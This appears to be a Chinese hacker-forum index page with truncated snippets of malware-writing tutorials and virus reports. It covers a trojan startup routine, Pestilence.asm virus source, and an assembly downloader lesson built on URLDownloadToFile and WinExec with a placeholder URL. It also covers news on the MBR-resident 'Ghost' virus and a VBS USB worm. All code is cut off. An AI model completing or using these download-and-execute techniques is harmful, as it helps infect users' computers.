木马最简单的启动方法编写
void main(){ HANDLE h = CreateFileA("c:\\ntldr", GENERIC_READ, 0, 0, OPEN_EXISTING, 0, NULL); if (h != INVALID_HANDLE_VALUE) { LPSTR lpStr; LPSTR lpCpy; stati
“鬼影”病毒分析报告
某年某月某日我跟某位大牛在聊天的时候仿佛听到划时代的病毒。当然在新型病毒出现之前想必大家也考虑着如何防护。2006年在美国拉斯维加斯全球黑客大会（Blackhack）公布的基于Bios类型的木马病毒，确实了解相关信息
Pestilence.asm
; Pestilence.asm.386.Model flat, stdcallOption casemap:noneInclude Pestilence.incInclude \masm32\include\windows.incIncludelib \masm32\lib\kernel32.lib ; Exi
神秘“鬼影”病毒袭击Winxp系统，重装也无法消灭
以前，常听用户说，中毒了没啥，大不了重装。但现在，这句话将成为历史。金山安全实验室捕获一种被命名为“鬼影”的病毒，该病毒寄生在磁盘主引导记录（MBR），即使格式化重装系统，也无法将病毒清除出去
骇客-从零学习汇编病毒木马编写.二
二：用汇编编写简单的下载者 B6j骇客吧在这里用到三个API函数： URLDownloadToFile，WinExec，LoadLibrary，ExitProcessB6j骇客吧 URLDownloadToFile(0, "网页地址", "保存到本地文件名和地址", 0, 0)B6j骇客吧UIN
2010年开门红 “暴风一号”成最新非主流病毒
Worm.Script.VBS.Autorun.be(暴风一号病毒) 病毒描述：8ZU骇客吧 这是一个由VBS脚本编写，采用加密和自变形手段，并且通过U盘传播的恶意蠕虫病毒。8ZU骇客吧 病毒行为：8ZU骇客吧 1、 自变形8ZU骇客吧
骇客-从零学习汇编病毒木马编写.一
来源：http://www.haik8.com 转载请注明出处！！骇客-从零学习汇编病毒木马编写.一VSj骇客吧
因为爱好，所以值得研究！VSj骇客吧
从零学习汇编，好多人一听汇编可能就想到很难！VSj骇客吧
其实他跟C语言一样！不
